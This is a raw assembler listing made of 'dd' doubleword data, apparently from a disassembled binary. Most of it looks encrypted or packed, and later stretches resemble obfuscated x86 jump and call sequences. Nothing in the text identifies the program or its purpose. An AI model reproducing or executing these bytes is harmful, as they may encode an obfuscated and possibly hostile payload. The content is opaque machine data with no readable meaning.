		dd 544E8ADEh, 55D1CDA9h, 6ABEE6B0h, 75B13257h, 0BF0853AFh
		dd 52B13256h, 0AEB135D4h, 563A3D56h, 57B13256h,	55BE99A5h
		dd 0EAB13251h, 75B0BF59h, 53443256h, 0A24ECE5Ch, 0CE4853AAh
		dd 57B4B059h, 0AC0B3256h, 2C9AF03Dh, 6ABEFB37h,	75B1325Ah
		dd 0BAB135BFh, 69BB3456h, 563E47A6h, 37B12294h,	42EBEDD6h
		dd 0D5B13247h, 76CA2B4Eh, 8304ECEDh, 0C99B5120h, 0F4D39516h
		dd 0A1E45393h, 57B123D9h, 1CBE5256h, 0D5B6DB9Ch, 0B1633256h
		dd 29E79F15h, 563A53EBh, 3C2B8236h, 474DF6D5h, 57B13242h
		dd 0D3113A85h, 0EADD0886h, 5326E540h, 7E74F578h, 707A5CFBh
		dd 54383D36h, 0CEB13256h, 58095336h, 0CA90DDEAh, 0D5B13FBFh
		dd 92736156h, 90DFED94h, 6D9CCE9Eh, 5D594102h, 0F4B13256h
		dd 0EE7BD8D7h, 57443478h, 0AC4388DDh, 8CD13478h, 8308E3DDh
		dd 0DBCEA917h, 0D3BEFB65h
		dd 0AEB1325Ah, 57B7BD59h, 24BE3256h, 0D5B13256h, 0E5B10DD5h
		dd 75B2A4D2h, 0DC495256h, 3C1500EDh, 0A45835DDh, 0E9B13256h
		dd 0CF89370Ah, 7EB3198Eh, 0E6C4CD04h, 7DC4CDA3h, 5F7FB236h
		dd 9B47E0D7h, 0FED0617Ah, 57A1DA36h, 832E3256h,	0A4F836Eh
		dd 0D55940DCh, 2D85A0E4h, 5E31A03Eh, 0E6D76C7Eh, 57D0245Ch
		dd 57B2BCBEh, 29BE5256h, 0D5B13245h, 0EAB13CBFh, 1E619D56h
		dd 0B8CE7B35h, 0E4B2DCE1h, 0FE79BA14h, 36EE6C06h, 2EBEF25Dh
		dd 0D5B13272h, 0E5B6B9AFh, 75B133D1h, 0EB58CA56h, 0B4B13256h
		dd 0AEB13246h, 0E97BD02Fh, 4D1D489Dh, 8EB202B3h, 9C631D24h
		dd 15A5F5D5h, 534FB930h, 5DB13242h, 91BD957Ch, 0DFF91820h
		dd 2E7D278h, 0B2452FE7h, 0A0EA4908h, 8A87DB37h,	5344CDA9h
		dd 5DB13246h, 32F85C6Dh, 0E3170077h, 0DE96009h,	0BB625764h
		dd 8A4D77DFh, 79C4CD37h, 0CF58936h, 3C4400C2h, 0A1B947A9h
		dd 57B133D4h, 42D1CA56h, 0D5B13250h, 7695B6D9h,	9F029BA4h
		dd 0DA86CD37h, 5DB2BE59h, 19BE3256h, 0E074B294h, 0A978DA37h
		dd 0DE443256h, 0F1353D96h, 9CB13256h, 0BAB1325Dh, 0EA9DA819h
		dd 5CC493Eh, 0BE0E9751h, 0ABB13035h, 5FE28336h,	0AF3A5385h
		dd 75A2DBAAh, 5E003256h, 0E31BF5EBh, 6CD6CA7Dh,	57CF2412h
		dd 655EAA46h, 0DAB60BCEh, 0EAB308D4h, 7C3E3D56h, 0DAB13256h
		dd 0DCD7C8DDh, 0CF6F7CB8h, 584D77A9h, 0ABB13CDCh, 0D5B8DB56h
		dd 0C02C3256h, 7DB5577Bh, 0DA8D48EDh, 8F182FECh, 0F60F5441h
		dd 2832530Bh, 2FBE3252h, 0D5B1324Eh, 0E6CEB1AEh, 78353D56h
		dd 4FB13256h, 5DB16CBFh, 0AF373D56h, 0ABB13256h, 544ECDEEh
		dd 0DE323DA9h, 3B13256h, 75B13250h, 9A20BCF8h, 5808260Fh
		dd 47B13256h, 57B1325Dh, 0CF521018h, 4C244CF3h,	1980631Eh
		dd 78353DFDh, 53B13256h, 5DB1325Eh, 0C43F8BE1h,	2B21C981h
		dd 544FDABFh, 0D5BCDBA9h, 3E703256h, 0DF47651h,	0ED463069h
		dd 0DEF11766h, 0A1B42229h, 57B141D2h, 0A3313D56h, 0DAB13256h
		dd 0EAB130D7h, 0F6D05256h, 0B5B72229h, 5DB149D3h, 0AEB8DB56h
		dd 74863256h, 0C0A6A24Ah, 942FF4FEh, 0EEF6B9AAh, 9A47B236h
		dd 31D06B06h, 52583E09h, 0F2B13256h, 1448E937h,	0CCBCD2DDh
		dd 0B187BB97h, 5158CB58h, 15B13256h, 0BAB138BEh, 0CC85A56h
		dd 4E39D806h, 0BF284B36h, 0ABB1325Ch, 1B22CF3Fh, 5D4815E2h
		dd 2DEECF59h, 4FD0C5DDh, 0A8B575DDh, 0CEBD6DDDh, 31718559h
		dd 0CA98E8E8h, 0D5B146BFh, 0E60B5256h, 25B35230h, 0DBEB5336h
		dd 0B4B575DDh, 0AEB13246h, 90CC0D8Fh, 0A9AD27BCh, 0D6BE0F30h
		dd 0C771A53Eh, 89BD6DDDh, 46B56D7Dh, 3DB4D9D5h,	47D110E1h
		dd 57B13244h, 9530C8DFh, 55961737h, 0A99FCFE4h,	5D5F2800h
		dd 0DBD1DD37h, 22325337h, 2BBE3146h, 57B1324Bh,	7A5BB336h
		dd 55FFB893h, 0ABD05489h, 75BAB259h, 0BC583256h, 4CB13256h
		dd 1F8E4FF1h, 0BE68198Dh, 0ABB13250h, 0BF7DD3B3h, 0B638C2CBh
		dd 0F0BE3357h, 0BAB13258h, 347FB336h, 2FFC1D2Ah, 54419A87h
		dd 13485352h, 2A4ECDA9h, 1A3A5436h, 14768D59h, 0BAB4DA36h
		dd 29133256h, 56D43795h, 52343D0Fh, 13B13256h, 8286EB7Eh
		dd 0EAB48B37h, 7B583256h, 8BB13256h, 0EAD3AFEAh, 0E3030298h
		dd 84D3931Ch, 5E1AC12Bh, 2A4C56BFh, 0F23D3DA9h,	15B13256h
		dd 0BAB1BC59h, 56583256h, 97B13256h, 0C7415B68h, 4158A4CDh
		dd 0B4D067B1h, 0EAB122BFh, 0DE801C56h, 0B8851CDh, 65B2EDDBh
		dd 0F0892D94h, 37D1FB10h, 0A4678559h, 0D5B132DFh, 0E0585356h
		dd 0F9B13256h, 0F2E926C1h, 74EB90F0h, 0A67353CAh, 5B3C3D56h
		dd 0A4B13256h, 0D5B134D1h, 0EA343D56h, 20B13256h, 0BD343DAEh
		dd 3DB13256h, 68316806h, 0BB3A53F0h, 0ABA3BE59h, 5EBE3256h
		dd 0EAB1325Ah, 75B135BFh, 0C4AB3456h, 0EB92C36Ah, 0A14DF6D5h
		dd 57B139D9h, 20BE5256h, 0D5B13256h, 8B478D59h,	303ACA36h
		dd 46D1CA5Eh, 3756B330h, 0EB8A5329h, 1C333D5Ah,	0CBB13256h
		dd 0D5B139BFh, 66169856h, 3D73319Fh, 71BAC906h,	3C788D59h
		dd 0A1A1776Dh, 57B11FD1h, 0AA333D56h, 29B13256h, 0EA4D7791h
		dd 15B13256h, 0DB4DD1E0h, 5DB13DBFh, 8DC78456h,	20864A5Bh
		dd 96144F73h, 0B58DCDDAh, 0EAB173BFh, 3076CE56h, 0BAB133AAh
		dd 5DBCDB56h, 0F0EC3256h, 0F1335447h, 476D7FD2h, 3C96329Dh
		dd 0EAB13274h, 75B139BFh, 5C331456h, 37613AB5h,	2324786Fh
		dd 0E7D48B36h, 2AD162EFh, 234A1B98h, 323A5445h,	15D05337h
		dd 8798D59h, 183A5362h,	0BD3C3DAAh, 0BEB13256h,	0ABB13258h
		dd 7E0796Ch, 5748FFEEh,	22BE031Ch, 4F78C1AEh, 0B4B13E94h
		dd 0AEB13247h, 0D509A360h, 21C42FEEh, 0CCFB27C6h, 619C7A33h
		dd 0FE4467CCh, 0BB3F3DBAh, 0A1B13256h, 564DF6D5h, 4C343D36h
		dd 0CBB13256h, 0D5B13CBFh, 0BAA2E756h, 3FFF4CCAh, 1A36D032h
		dd 52203E97h, 0AEB132D6h, 57595356h, 0F1B13256h, 6A83D8D7h
		dd 8CD13478h, 9C2837ECh, 0BAB13258h, 1730BC48h,	9B26B19Bh
		dd 0B18E4E65h, 52D08E90h, 0D5B13FBFh, 23AF7856h, 7A47A6Bh
		dd 55F2CF4Fh, 5358BA55h, 25B13256h, 36C468B0h, 90A2D464h
		dd 1A657BC0h, 0E5780150h, 75B133DEh, 6182CB56h,	5DB8BE59h
		dd 0A1D13256h, 57B132D1h, 22D0CB56h, 5E48CE0Bh,	0C4C8C0ECh
		dd 0F644C750h, 3EBE3269h, 5DB13031h, 0AEB13ABFh, 0C8CE4E56h
		dd 5723387Ah, 0EA32CE89h, 0AB343DA9h, 7AB13256h, 0BAB121D6h
		dd 5DBFDB56h, 3F363256h, 0D04DA829h, 2BB3CCFCh,	0AAB3C591h
		dd 0EAB138BFh, 86D86156h, 5D3542C9h, 0DE7BC549h, 56492691h
		dd 0A84E9CBFh, 26BEC7A9h, 0D5B1325Eh, 0EAB3B259h, 14D13256h
		dd 0BAB54DD5h, 5DF0B659h, 2D493256h, 58B13E29h,	0ABB104D2h
		dd 0C63F3D56h, 3B13256h, 75B13258h, 8466050Eh, 0A3021329h
		dd 0F938823Fh, 5586694h, 5EB13256h, 0D5A0B059h,	0E6583256h
		dd 0D0B13256h, 114B4959h, 0E795C8FCh, 513442D0h, 31D1CE13h
		dd 4030FCDDh, 0D86AF58Eh, 0FE76B137h, 75B13BBFh, 0C6F83C56h
		dd 5DAA023Bh, 9E586381h, 0BE4ECDA9h, 0ABB13247h, 0A6F58722h
		dd 1441F6Ch, 0D0F95F32h, 15A9400Ch, 4DCEB13Fh, 28353D53h
		dd 0BEB13256h, 0ABB13246h, 19A97BD4h, 8D3B7025h, 80578ED2h
		dd 0FEBB84A0h, 5BA14DD5h, 0AEC4B759h, 37493256h, 176BB330h
		dd 40E3D71h, 6EBE7337h,	75B13257h, 0BEF6B9AAh, 5DBCB259h
		dd 14D13256h, 4D1E92E4h, 0ABB1B159h, 0B5D03256h, 8A788559h
		dd 18FFD1D7h, 32BE2FC0h, 5DB13256h, 0F13A5337h,	0A530525Ah
		dd 0C2DCC7EDh, 3CD0C1E0h, 0EAB13283h, 75B126BFh, 0B2727B56h
		dd 0EBE59E66h, 1EDCCEDEh, 70BEB39Bh, 0EACEACFCh, 0D1F6B9F6h
		dd 0E6EEB9AEh, 753EDBAAh, 31483256h, 4F583611h,	2DB13256h
		dd 997E3E01h, 4F02D56Eh, 0C0B9BC31h, 4C0112E4h,	79EEB94Ch
		dd 7E316436h, 0E7D76DB2h, 85D001E5h, 0BED13609h, 0ABB13258h
		dd 0DD8BD6FEh, 0BBADC057h, 16D0664Bh, 0B6583569h, 94B13256h
		dd 26A9CD2h, 5529FF07h,	0CA96DA5Ch, 0DAB4D9D5h,	0EAB135D3h
		dd 74323D56h, 4FB13256h, 5EA14DD5h, 0AE92B759h,	52583256h
		dd 7AB13256h, 8AC613CDh, 0F83C3D17h, 15B13256h,	0B3589FE4h
		dd 7EB13256h, 4AA16EADh, 854335B4h, 0A4681937h,	0D5B12ADFh
		dd 51D75256h, 7959F0F6h, 84B13256h, 7D0EBA69h, 0F82E5B11h
		dd 0E0BE608h, 0AAEDBB37h, 0D2393D57h, 0E5B13256h, 75B133DAh
		dd 4509C756h, 0B44ECDA9h
		dd 0AEB13242h, 0A0226661h, 0FB1B6B88h, 31888E3Bh, 0AA0813D3h
		dd 8870617Bh, 0BAB137EFh, 0F642CE56h, 5320DBAEh, 364DCDA9h
		dd 0ABB0B959h, 5E4D3256h, 234DCE13h, 75B13BBFh,	701CF56h
		dd 40C79A6Dh, 0A1723485h, 57B13FD4h, 24BE5256h,	0D5B13256h
		dd 237AB330h, 7AE153F4h, 0BAB133D6h, 0B4D1CE56h, 0AEB13259h
		dd 0AC738E56h, 466EA5CBh, 0BD54FC04h, 2E097CFh,	75B13251h
		dd 3A363079h, 52218384h, 0AEB132D8h, 6D06B56h, 29BE61AAh
		dd 0D5B13257h, 0EAB1DAAAh, 0F4EB3256h, 94734FBCh, 5DBADB50h
		dd 3A2C3256h, 7548FA0Eh, 7EE945C2h, 4F3CC76Ah, 0EC9F48DAh
		dd 75B0B459h, 2493256h,	5DB13232h, 0AB72DAAFh, 58D13256h
		dd 0ABB130D6h, 3CA58656h, 0EAB13242h, 2659D4EFh, 8DA86E44h
		dd 2DE02B88h, 6ED4130h,	4631EED7h, 0A3585237h, 11B13256h
		dd 0B62DBC05h, 15FA4CB5h, 0BAB1B559h, 3C493256h, 5BBAB937h
		dd 4458F36Dh, 3B13256h,	50972155h, 2FEE6F8Dh, 2FF00B05h
		dd 34E5F640h, 0F158FE09h, 0CEB13256h, 57383D04h, 0F4B13256h
		dd 12063D05h, 0A1B2530Ch, 0AA305252h, 946B5CDEh, 66D04AE1h
		dd 48333D97h, 0BEB13256h, 0ABB13250h, 9B0FE5E1h, 0A1B229DCh
		dd 75A0DB46h, 0CCC3256h, 0E26D7451h, 93E902h, 473C5A7Fh
		dd 9024A4B9h, 0CA333D97h, 3B13256h, 75B13253h, 0E5947B2Fh
		dd 5D89DBCBh, 0A5583256h, 84B13256h, 2DA901C7h,	32EE5DB0h
		dd 53585CA6h, 15B13256h, 0BAB13CBEh, 0C59B5456h, 4C95107Fh
		dd 5B033B91h, 5E81B18Eh, 57BE520Eh, 0EAB13256h,	0B3AE8C30h
		dd 2B585337h, 0B4B13256h, 0AEB1325Ch, 0C0D0F26Dh, 0EEDD1AC5h
		dd 584D74C6h, 0C589CACCh, 613B3D50h, 53B13256h,	5DB13259h
		dd 655078DBh, 2F4A0D31h, 148760B3h, 2A7B5058h, 0EAA5DB85h
		dd 0B9763256h, 8C484646h, 942789C2h, 8ED433F3h,	6D3557FBh
		dd 0EA586DFEh, 0DAB13256h, 0EAB12AD8h, 67373D56h, 53B13256h
		dd 5DB1325Bh, 0AF77C760h, 0F5FA8F56h, 0BA76081Bh, 0CB2BBF5Bh
		dd 3B71D6Ah, 75B1325Eh,	0D43A43C0h, 2B55A68Fh, 29BEE1A9h
		dd 57B1325Eh, 0ABB3BE59h, 0B4D13256h, 0EB363D0Dh, 8DB13256h
		dd 0A403520Fh, 2510F3D7h, 0F6D06374h, 57B139BFh, 0FBFF5656h
		dd 75AD2117h, 0D7B9145Ah, 75BDDB95h, 946D3256h,	0B50D34DAh
		dd 45B80C8Fh, 0BEE495AEh, 0ABB1325Ah, 25CB8528h, 6E30F24Dh
		dd 0BEA6C270h, 34BEDEDDh, 5DB1324Dh, 3178B336h,	0BEA7E813h
		dd 0ABB13258h, 511ACEC8h, 35BCDA66h, 782CDBD5h,	42D0A614h
		dd 5DB132BEh, 44306856h, 519FF6FEh, 0ABA1DA36h,	0D71E3256h
		dd 646FE051h, 0BE9E9317h, 0FD0DCD3h, 2E72D79h, 543A5408h
		dd 0E90F5237h, 0CAE617D3h, 5BBE52AAh, 0EAB13243h, 75B122BFh
		dd 0D59B7556h, 19E1B905h, 0A2423AFAh, 9E3A185Dh, 270BBFD6h
		dd 0B5B71C2Ch, 9B8D30h,	7DF4B937h, 753A5436h, 0A1B6BB37h
		dd 0A1BD77DDh, 57B133D7h, 2EBECE56h, 0D5B13257h, 0EEF6BBAAh
		dd 75ACB959h, 3EBE3256h, 5DB13241h, 0AEB120BFh,	2BE43956h
		dd 85FCDCAFh, 0FF9145h,	0C769B404h, 0FE2E6FCDh,	31D12213h
		dd 706DB2A6h, 0A2F6BB37h, 0BE67B936h, 0ABB1325Dh, 0C28C8C32h
		dd 0A03E778h, 14F20ABCh, 53A577DDh, 5DB1325Ch, 0A9859D3Bh
		dd 0A87789B2h, 0EC38A3E0h, 0D5BBDB46h, 0AE723256h, 0D24FFB27h
		dd 0AE7E00D6h, 9F305436h, 2BBE704Ch, 57B13252h,	1F808C30h
		dd 0C6585337h, 1EB13256h, 7BC94C68h, 0C8FD01D3h, 34A31C9Ch
		dd 416F27EAh, 3778CC22h, 0ABB123BFh, 72665456h,	51BD3105h
		dd 0AEDCFB38h, 0F9791033h, 0BE31489Eh, 26BE539Ah, 57B1324Ch
		dd 65063D36h, 0D5B13DBEh, 0D5B14156h, 5564960Ch, 427699EBh
		dd 3B6CDB95h, 0BE73530Fh, 0D6D75256h, 2B28A296h, 0B5D0BFA2h
		dd 0EAB138BFh, 0C7F76756h, 9A520CA5h, 9BE520EDh, 86BC17D3h
		dd 3F447550h, 3A6414Ch,	0D5BCBE59h, 0E2583256h,	9CB13256h
		dd 1E0921ABh, 528B0F65h, 0AEB121D8h, 5A313D56h,	42B13256h
		dd 0D5B1325Eh, 7A272C9h, 0ADB50768h, 0AEBC87A9h, 0DDD1347Eh
		dd 23D0EBBFh, 7CDE6AD3h, 0AA323D50h, 2CB13256h,	0EABBBB59h
		dd 70583256h, 0FFB13256h, 0CD16BC9Ah, 52D1E2A9h, 5D0EBDCh
		dd 0ABB5B159h, 85D13256h, 603C530Eh, 739F4E4Fh,	0BAB0BA59h
		dd 0C443256h, 0CE61CDA3h, 163B330h, 8D0F547Ah, 0B5EB53B3h
		dd 0CD63B330h, 4571B2F6h, 0B6343D37h, 52B13256h, 0AEB134D1h
		dd 573B3D56h, 26B13256h, 0FBCD2BD4h, 8CE25250h,	2B62C9ECh
		dd 0B5D0D3DCh, 0A5BD72E1h, 0BE58EADDh, 99B13256h, 0C5C3BA2Ah
		dd 0F0625834h, 0BF6705D7h, 2778BACFh, 0B0343DAEh, 3DB13256h
		dd 5E30ECDDh, 57F86071h, 0CB803D37h, 0D5B138BFh, 0FDDFA56h
		dd 0B0615B08h, 31CE6978h, 744538Fh, 0AEB13BBFh,	0E74B6C56h
		dd 4C4403A6h, 16B2BA30h, 0EAB6BA59h, 0F4BE3256h, 0BAB13257h
		dd 5DA0DBAEh, 0D7433256h, 0C57F3BCDh, 4020696Eh, 0FB1537F6h
		dd 6383E952h, 5DBD77D4h, 43D0C750h, 5DBBB259h, 0AB583256h
		dd 47B13256h, 0FD71283Eh, 0CD3F3D95h, 3B13256h,	75B13245h
		dd 0D90226E6h, 5E7591C7h, 0E910DB59h, 612BCB46h, 0CB4099A1h
		dd 0B340B930h, 61AA3FE9h, 0F890F51h, 0E9000000h, 0Ah, 10015A6h
		dd 4AD1F1BAh, 60528B3Dh, 0E861EE8Ah, 0
		dd 9BEA815Ah, 0F062EC7h, 189h, 0F60F800h, 0DE8DAB7h, 7000000h
		dd 0ACE6C558h, 0F06F71B2h, 6B92F366h, 615A5953h, 18C0F52h
		dd 0FC000000h, 0C45828Bh, 0FE90628h, 33000000h,	7C64CCFBh
		dd 0C7BE2E7Eh, 60DCE1D5h, 6DB922A5h, 0F41C64Eh,	0A83h
		dd 5E900h, 67890000h, 0F715C4DDh, 0BF0F60E1h, 0CE9CBh
		dd 7DB0000h, 0CDC0F715h, 0BDFDBB11h, 5A614DA6h,	561F560h
		dd 3039h, 61595760h, 0FFFFFF25h, 0EE97Fh, 48B40000h, 0E3DBC3E2h
		dd 70A39D2Fh, 62D9B458h, 0C458289h, 0F5F80628h,	0E8F0F5Ah
		dd 0E9000000h, 9, 0E4B11E02h, 0BEAAC7BDh, 8E92Bh, 68C90000h
		dd 65C12B2Dh, 0F5967E0h, 689h, 0C88A6000h, 0C361F1B7h
		dd 0F5FC51FCh, 0E890F52h, 0E9000000h, 9, 453BF84Fh, 20D75935h
		dd 0E82Fh, 815A0000h, 2EC88DEAh, 810F6006h, 2, 0E961C28Bh
		dd 0Bh,	5CCF0A63h, 5D6A7A4h, 8BCC01DAh,	0D860FC8h, 0E9000000h
		dd 8, 34164AF0h, 2285473Ch, 0FFFEB3E8h,	0FE9FFh, 128C0000h
		dd 545CB6Fh, 0C1F56377h, 2E02948Fh, 13E91Ah, 841F0000h
		dd 87A39A34h, 0D4C2D7DBh, 0A34AB7CEh, 6C209B7h,	60D2339Ah
		dd 615E5260h, 7E8h, 0D7180A00h,	5E34A819h, 615E6160h, 6660F1F7h
		dd 0E9F57AB9h, 0Ah, 0B48E1B06h,	0F9129E67h, 8B6108B4h
		dd 8810FC2h, 0F000000h,	285h, 5A616000h, 0A840Fh, 5E90000h
		dd 0B1000000h, 0B9EA63B6h, 0AE9F859h, 0B2000000h, 9A837A10h
		dd 0DA116A78h, 14E9C3F5h, 0EC000000h, 44034B1Ch, 7060E131h
		dd 0A288CCDFh, 7C0F509Ch, 8BACD17Bh, 17860FC0h,	0E9000000h
		dd 12h,	0E30CCB58h, 65E78AEh, 1CB0162Eh, 1D7D8DAFh, 0C08BF0E8h
		dd 18D0Fh, 0F5F90000h, 8FCC858Dh, 12E9062Eh, 3F000000h
		dd 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 319026A4h,	0FD0FF95h
		dd 185h, 8B66F800h, 1850FC1h, 0FC000000h, 0C77B858Dh, 0E960062Eh
		dd 11h,	0E905EF95h, 6B60E27Fh, 9059D4D3h, 37452D8Ah, 8589613Ah
		dd 6280045h, 1E880Fh, 800F0000h, 18h, 13E9h, 0FBB2DE00h
		dd 63D86C2Dh, 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh,	0C870858Dh
		dd 89F9062Eh, 282E8985h, 0CE906h, 62F20000h, 99C23A06h
		dd 0B5C6E15Fh, 0B8F8E36Eh, 0
		dd 0EE9h, 0A01E2300h, 8EF141BEh, 84C89D32h, 0B33E4FFh
		dd 3840FC0h, 0FC000001h, 0D2585C6h, 0F5560628h,	0C530DF68h
		dd 11870FA9h, 0E9000000h, 0Ch, 0C1424814h, 1E80E3DEh, 59D63327h
		dd 140DB5FFh, 8DF90628h, 2B6F5885h, 0BE906h, 662F0000h
		dd 359522C0h, 4D8916A9h, 60D0FF8Fh, 66CE8B66h, 61032CB8h
		dd 0B820Fh, 6E90000h, 7000000h,	0A6960EEBh, 0F6050D0h
		dd 385h, 80D38000h, 6732EE81h, 8D616164h, 2821D18Dh, 88F0F06h
		dd 0F000000h, 284h, 51616000h, 0AE9h, 20D8A300h, 0EB73A366h
		dd 6A36B68Ah, 68FC04h, 0E9000010h, 5, 0D32FF96Fh, 1800F18h
		dd 0F8000000h, 2BDDB5FFh, 0FFF80628h, 0BD8BF8D0h, 6282BDDh
		dd 0FE9h, 80746900h, 370F11B9h,	0B8CA0C84h, 0E30BF395h
		dd 0E93C7F03h, 0Ah, 0DBC60F3Ah,	6BBD6084h, 0C781575Eh
		dd 0F8h, 6810Fh, 0B0600000h, 61D08B0Fh,	202447C7h, 60600000h
		dd 8B84CC80h, 9D8D61C1h, 6280391h, 9810Fh, 0F8600000h
		dd 820Fh, 8B610000h, 0DE903h, 55E80000h, 33E0F1BBh, 0F95A12B9h
		dd 0F8BA9C2Ch, 840FC00Bh, 3Bh, 12E9h, 0C6174500h, 0D99B2993h
		dd 0ED8C8BBFh, 3E4A2831h, 602E3F74h, 8B61C3B2h,	8B666000h
		dd 438961C1h, 10890F04h, 0F000000h, 0A89h, 5E900h, 0ECB70000h
		dd 0B91A1F14h, 234CF6h,	0CCA48D8Dh, 0BF0F062Eh,	158D89DEh
		dd 0F062807h, 138Ah, 0EE900h, 412A0000h, 9BE009A5h, 61928106h
		dd 0A5DC9431h, 21BD85C7h, 6DB00628h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9AB443C3h
		dd 12C5B58Bh, 95890628h, 6282951h, 113D85C7h, 628h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 3C6BEBC3h, 6E9h, 0A1EBA000h,	0FF3B05B1h, 282B59B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0F06D3CBAh, 56D56A54h, 0FDF8B54h, 48Ch
		dd 61606000h, 0D995FF61h, 0F062814h, 380h, 0FB8B6600h
		dd 23759529h, 6A0628h, 46595FFh, 0C08B0628h, 46A23CEBh
		dd 4048D281h, 84194BE2h, 42C434FEh, 0DE8A2365h,	7E18BB76h
		dd 83D3C892h, 9CFB637Dh, 0D46CA93Bh, 65FCC0C0h,	5766CC3Dh
		dd 3CA71A99h, 0B6DF9A48h, 2B610CB1h, 4550B265h,	0BE8B8FCh
		dd 4000000h, 1D713063h,	0C9C53D34h, 870F6D0Ah, 6, 2AD99D29h
		dd 805B0628h, 0C38146F4h, 59C0h, 22F58533h, 0F62B0628h
		dd 67DA8166h, 1E34FFCEh, 8B59FA8Bh, 280631BDh, 0F9E98106h
		dd 231F8BBCh, 28213595h, 0A6F18106h, 89283422h,	28148985h
		dd 41E98106h, 0B6611C2Ah, 0CE8514Eh, 22000000h,	2695BD52h
		dd 8A5701E7h, 8B95557Ah, 28290D95h, 48F5F06h, 78BA6633h
		dd 21958B6Ah, 81062822h, 344D58EEh, 9BD8B61h, 8106280Fh
		dd 344D54C6h, 0A1CA8161h, 815F79E5h, 0FFA708FEh, 17850FFFh
		dd 51000000h, 17418D89h, 0E9580628h, 1Bh, 0BE553DC4h, 15DAB13Ch
		dd 8D01AC4Ch, 6283399h,	0FFFF68E9h, 34B698FFh, 8D19229Ch
		dd 2ECE568Dh, 0D9D8B06h, 89062813h, 2807158Dh, 91958B06h
		dd 0C706282Eh, 2821BD85h, 710406h, 0CD858B00h, 0C7062802h
		dd 28113D85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0E11A6BD9h, 0CE9h, 7821A200h
		dd 0D38CD15Bh, 963DB767h, 0C9B5FF0Bh, 0E9062826h, 7, 0E9B15D2Dh
		dd 0FFB24763h, 2814D995h, 71BD8906h, 0E9062821h, 14h, 4D15E54Dh
		dd 0E3CA79E3h, 0BEB6024Ch, 0F7A041Fh, 0EB6E8D06h, 95FF006Ah
		dd 6280465h, 5BEBC08Bh,	0D8EECA32h, 0F8319D85h,	0AFEA613Dh
		dd 70A636EBh, 42552965h, 0D98B9A8Ch, 2BEE6F0Fh,	0B6ADA348h
		dd 509BDA77h, 18F5C8F4h, 0CEB84DA8h, 0E3A54313h, 53162391h
		dd 0CC1CDF00h, 0AA9EAF57h, 79D9FD7Fh, 0B3F3730h, 8791BF3Fh
		dd 5BCFDF69h, 9540912Eh, 0D5553A4Bh, 41F1CA37h,	0E9280C22h
		dd 2Bh,	5808F7D9h, 9 dup(0)
		dd 0E9000000h, 0A3Ah, 2ED05D68h, 75ECE906h, 6168FFFAh
		dd 0E9062ED1h, 0FFFA75E2h, 2ED31F68h, 75D8E906h, 0D868FFFAh
		dd 0E9062ED3h, 0FFFA75CEh, 2ED53868h, 75C4E906h, 9C68FFFAh
		dd 0E9062ED6h, 0FFFA75BAh, 2ED79368h, 75B0E906h, 0C13EFFFAh
		dd 0D1548B6Fh, 0F270A78Bh, 587BEA2h, 23A2D9BDh,	713CF1D5h
		dd 5B3F8D0Ch, 785CA024h, 9276C041h, 0AB8FDB5Bh,	0D91465B3h
		dd 217CF82Ah, 46C8AD4Eh, 0D6E5F6F5h, 0C09E027Ah, 1FB1FD7Dh
		dd 9715C644h, 0EFDFBD47h, 0C254A020h, 821A68E7h, 20EE2CD8h
		dd 23AD3775h, 743F0945h, 0F8B8099Bh, 8B7CFE3Eh,	4E232B0h
		dd 9719AB0Fh, 92F339BCh, 7CFE395Bh, 0EB83D351h,	9E7CE07Dh
		dd 390669AEh, 633C7CFEh, 0A789E53Bh, 2B06FBCDh,	58C65EACh
		dd 2A887Ah, 94160000h, 0FE312843h, 0EEC507Ch, 3811DC37h
		dd 0F1D755A6h, 3DA17CFEh, 0F00960A5h, 5A337CFEh, 6A82DE32h
		dd 0BEF7FBCEh, 98000000h, 0DC67EF6Fh, 0FEED3E44h, 0FA7AD60Ah
		dd 9276D096h, 31009822h, 0FDCC64B2h, 0CA99317Dh, 6D1AFE4Ah
		dd 7AD62AB4h, 0B296E262h, 17AFFB7Bh, 7F11EAB5h,	0FE37AA2Eh
		dd 664AAE7Ch, 66F8D19Ch, 2BC3078Bh, 0A4F5DFBDh,	7AD49313h
		dd 8661F357h, 0DE2FB107h, 76859D8Fh, 0C72687EBh, 3376859Dh
		dd 2A6145CFh, 47B95DABh, 0EA08783Bh, 824BF1Ah, 95120000h
		dd 0A5285F43h, 0C6447B5Fh, 0D95B9276h, 0F776AD91h, 9D10C5A9h
		dd 2F1361E0h, 4C3074F8h, 664A9415h, 7F63AF2Fh, 85E83987h
		dd 0F57CF835h, 0F06F8122h, 2AE0BEA2h, 688E65DEh, 7FC2A086h
		dd 8ACE52FFh, 0A1F284F2h, 7AD6C14Ah, 0DCC04AAEh, 3811DC11h
		dd 0F1D755A6h, 35A17CFEh, 2B8CDC5Ah, 7CFEF0C0h,	0AAF07338h
		dd 0B9FE9620h, 7CFEF0B6h, 18B0FC7Ch, 0E67EC849h, 63E60E67h
		dd 0FA87AF88h, 7AD2C244h, 86649CB4h, 0CD8E6FCBh, 0BAE4FBh
		dd 6F850000h, 8F11A3EFh, 0D6E52F3Eh, 347AFD7Ah,	65553397h
		dd 4B9114EFh, 5DAB2A6Dh, 0E1A780C5h, 0F5757AD6h, 0E8EC5A9h
		dd 0FDC82AC2h, 0E1A0CB1Ch, 38D87AD6h, 29338E3Bh, 4BD55F69h
		dd 0DB5C37B9h, 0DD23A691h, 25B246FFh, 62C67CFEh, 10E9B47Eh
		dd 83772D7Eh, 8DF17AD4h, 53A120FBh, 0BE0F916Fh,	768583AFh
		dd 468967CBh, 35D579C7h, 10087829h, 720E540h, 910E0000h
		dd 0A1245B3Fh, 0C240775Bh, 0D5578E72h, 0F372A98Dh, 0A10CC1A5h
		dd 2B0F5DDCh, 482C70F4h, 62469011h, 7B5FAB2Bh, 89E43583h
		dd 0F17CF834h, 46C87D1Eh, 0D6E5F6F5h, 0C09E027Ah, 0D04FFE7Dh
		dd 0DD14F882h, 622D115Dh, 0BA3EF6Fh, 0ABC21395h, 817AD6E5h
		dd 551AB7FFh, 25038DD1h, 841662E2h, 0F87B2AA9h,	22AC1AB2h
